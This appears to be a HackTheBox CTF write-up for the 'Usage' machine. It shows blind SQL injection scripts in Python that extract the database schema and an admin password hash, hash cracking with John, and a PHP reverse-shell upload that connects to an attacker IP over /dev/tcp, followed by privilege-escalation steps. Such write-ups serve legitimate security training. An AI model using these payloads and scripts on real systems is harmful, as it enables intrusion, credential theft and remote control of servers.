> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Usage HackTheBox Writeup

Usage HackTheBox Easy Linux machine writeup covering Subdomain Enumeration, SQLI - Boolean-Based Blind Injection (MANUAL) + BurpSuite Tips, Python Scripting in order to exploit SQLI, Cracking Hashes,

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
Skills:

* Subdomain Enumeration
* SQLI - Boolean-Based Blind Injection (MANUAL) + BurpSuite Tips
* Python Scripting in order to exploit SQLI
* Cracking Hashes
* Laravel-admin Exploitation (RCE by abusing file upload)
* Binary Analysis (GHIDRA)
* Abusing Sudoers Privilege + Custom Binary in order to get Root SSH Private Key (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15b21c0450116e3e0269d78dc5df968bd2c0246d%2Fimage%20(1134).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5d367809a029cbb14a854d7c3055add6113ce93%2Fimage%20(1135).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a27e4986b68ae59a0ab8255cfd0d36d6ce28c9f9%2F%7BD21E61C5-F575-4833-8519-56ADE5732D9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (21,22,80)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-890bf92cb3870eb06b529cf1e74e1fac947df8ab%2F%7BAF5F5CA2-EFBC-4F7E-A43F-98F59F4A2246%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port version scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-406f50f398811c1e7aedd3506542c4395f547e67%2F%7B0205AB49-C643-4D67-99F8-4935FDF6BA35%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

### Port 80:

On port 80, we will create a user account with a fictitious email "`test@test.com`" in the registration section.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e0712de8f3c6c9fc39cbfb05d73fc6726d7232c%2F%7BB0B7A0B7-F05B-4487-A90F-D1E9B6E553CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability [SQLI](/web/sql-injection.md):

We discover a password reset panel vulnerable to SQL injection

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b53c33525c6d3d9a8bd94be4bab7925b3a9cd30d%2F%7B26044F45-FC1F-48DD-8002-77C0FB269074%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

. By intercepting requests with Burp Suite, we get the message "*We have e-mailed your password*".

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3177094706bec286c9aba357b48ef1da55956fc7%2Fimage%20(1136).png?alt=media" alt=""><figcaption></figcaption></figure>

When we attempt a basic SQL injection, it succeeds and we receive the same error message again, confirming that the injection is working. The basic injection test is:

`iojfeifif' or 1=1-- -`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a340e1c72e0e66ba6f618de26df0a5e25843973%2F%7B4391472C-0C07-42D1-B767-8A1511387D49%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Sqli Conditional responses:

> Although the SQL query results are not returned and no error messages appear, the application displays the message "We have e-mailed your password" on the page if the query returns any rows.

We check this assumption by running a conditional injection using the `substring` function to extract the first letters of the database name.

Injection examples:

* Test the first letter of the database name:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Test the second letter of the database name:/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b266008d7400500d063c1836e082ac5d316ce1c5%2Fimage%20(1137).png?alt=media" alt=""><figcaption></figcaption></figure>

### Database name enumeration:

We automate the database name discovery process using a Python script that sends queries with specific payloads and retrieves the results when the server displays the response "We have e-mailed your password".

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Handle exit signals
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C to exit
signal.signal(signal.SIGINT, def_handler)

# Expanded character set (add more special characters as needed)
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # Send the POST request with the payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Show the character currently being tested in real time
            p1.status(f"Testing position {position}: {character}")

            # Check for specific feedback from the server to confirm the correct character
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # If a character was found for this position, move to the next position
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b6ca818cd5433035797610c91e599561dd966de%2Fimage%20(1138).png?alt=media" alt="" width="440"><figcaption></figcaption></figure>

### Database enumeration:

We modify the payload to list all databases present on the server. We use the `group_concat` function of the `information_schema.schemata` database to retrieve all available databases. This step allows you to discover all the databases present.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Handle exit signals
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C to exit
signal.signal(signal.SIGINT, def_handler)

# Expanded character set (add more special characters as needed)
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # Send the POST request with the payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Show the character currently being tested in real time
            p1.status(f"Testing position {position}: {character}")

            # Check for specific feedback from the server to confirm the correct character
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # If a character was found for this position, move to the next position
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2db74325ff348b02756fbb13a1560f9acbdb994%2F%7B0924BE89-8289-43C8-B1E6-365D9CEB6985%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### List of tables in the `usage_blog` database:

After finding the `usage_blog` database, we modify the payload again to enumerate the tables in that database. We use the `group_concat` function to retrieve the names of all the tables in the `usage_blog` database.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Handle exit signals
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C to exit
signal.signal(signal.SIGINT, def_handler)

# Expanded character set (add more special characters as needed)
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # Send the POST request with the payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Show the character currently being tested in real time
            p1.status(f"Testing position {position}: {character}")

            # Check for specific feedback from the server to confirm the correct character
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # If a character was found for this position, move to the next position
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b46a64c7b718776df73e9983c1a7a958afa04182%2Fimage%20(1139).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Enumeration of the columns of the `admin_users` table:

Once the tables are identified, we target the `admin_users` table to enumerate its columns. We use the `group_concat` function again to retrieve the column names of this specific table.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Handle exit signals
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C to exit
signal.signal(signal.SIGINT, def_handler)

# Expanded character set (add more special characters as needed)
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # Send the POST request with the payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Show the character currently being tested in real time
            p1.status(f"Testing position {position}: {character}")

            # Check for specific feedback from the server to confirm the correct character
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # If a character was found for this position, move to the next position
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6acac067804c8bbf592d3eeb554149f0c5cd3dca%2F%7BD9220E36-AABF-4AC0-9878-A581F4B69EED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Displaying `username` and `password`:

To display user IDs and passwords in the `admin_users` table, the SQL query will be modified to concatenate the `username` and `password` fields

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Handle exit signals
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C to exit
signal.signal(signal.SIGINT, def_handler)

# Expanded character set (add more special characters as needed)
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Starting SQL injection...")
    time.sleep(2)

    p2 = log.progress("Extracted Data")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # Send the POST request with the payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Show the character currently being tested in real time
            p1.status(f"Testing position {position}: {character}")

            # Check for specific feedback from the server to confirm the correct character
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # If a character was found for this position, move to the next position
        if found_character:
            p1.status(f"Position {position} found: {data[-1]}")
        else:
            p1.status(f"Position {position}: Character not found")

    p1.success("Brute force SQL injection concluded")
    p2.success(f"Extracted data: {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9939cc0c88478d003f71c003e8c56c78c274f6b2%2F%7B8CE976F0-7703-4875-8A74-A1BDB5EB3AEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Password cracking with John:

Once the password hash is recovered, you can use **John** to crack it with a dictionary like **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7e86fd66b218596058217bcfab80e3b68dbe182%2Fimage%20(1140).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Panel Administrateur:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be96acbb0454d8463671781f3aff1bd83c78a989%2F%7B3EE46AEE-53ED-4C4E-8C0B-2B9B26762027%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Once the credentials have been found, it is possible to connect to the administrator panel by modifying the `/etc/hosts` file to add the `admin.usage.htb` entry.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c61b188da2b136077a2f374a710fc676ddec8bcd%2F%7B89C865F0-B2DF-4986-B392-D99CEAB9DF7A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability File Upload (Laravel-admin)

In the Laravel-admin application, a section allows you to upload an avatar. By exploiting this feature, we can send a malicious file to gain unauthorized access to the server.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d42a8da4e99e20f192f6c80a01e8aa491ca1b1ba%2Fimage%20(1110).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Operation steps:**

1. **Interception and modification of the avatar file**:
   * Intercept the request with Burp Suite.
   * Change the value of the `filename` variable to add the PHP extension after a fake image file, for example: `hack.jpg.php`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-453809b98f33be8a8611ab63b1667393f6df50d8%2Fimage%20(1115).png?alt=media" alt=""><figcaption></figcaption></figure>

* The contents of the file must be a reverse shell, such as:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d2a43d8774f237ae69e5eded925060fddcc7aba%2Fimage%20(1114).png?alt=media" alt=""><figcaption></figcaption></figure>

**Listening with Netcat**:

* Start listening on port 443 with Netcat:

```bash
nc -nlvp 443 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f70ebe6c8a42e241ed7ab3a9e52c595ef5c63357%2Fimage%20(1116).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Run the following commands to make the shell session more interactive:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d72ebb3c4cb66f4c704a7fd724dffa6786213602%2Fimage%20(1117).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilege Escalation:

### Information leakage

In the directory of user `dash`, a file `.monitrc` is accessible, containing sensitive information

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70026945372145d7ad057e6bc5adfca46eeb302a%2Fimage%20(1118).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68d85d8ca43d518a9d035a8b2f4d64aa40372104%2Fimage%20(1119).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

This password corresponds to the user `XANDER`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb3a575cbc5174fde9b0d5a4096b05a402e15522%2Fimage%20(1120).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Abusing Sudoers Binary:

By running the `sudo -l` command as user `xander`, we discover the possibility of running the `usage_management` binary with three options:

1. *`Project Backup`*
2. *`Backup MySQL data`*
3. *`Reset admin password`*

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-36ffeca4f10686e40972f5f01a91a753fb0cc11f%2Fimage%20(1121).png?alt=media" alt=""><figcaption></figcaption></figure>

By selecting the first option ("Project Backup"), the program creates a file `.zip` with a backup as user `root`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f11e9acb5e61b326c3408f98c6cb8ee37770e29c%2Fimage%20(1122).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f6f4a3ec65e9303122a5f27db38ebd23476ab12%2Fimage%20(1123).png?alt=media" alt=""><figcaption></figcaption></figure>

### Binary Analysis (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Install and run GHIDRA to analyze the binary:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a4723409aa1abc5efc67366312954afee5b02f8%2Fimage%20(1124).png?alt=media" alt=""><figcaption></figcaption></figure>

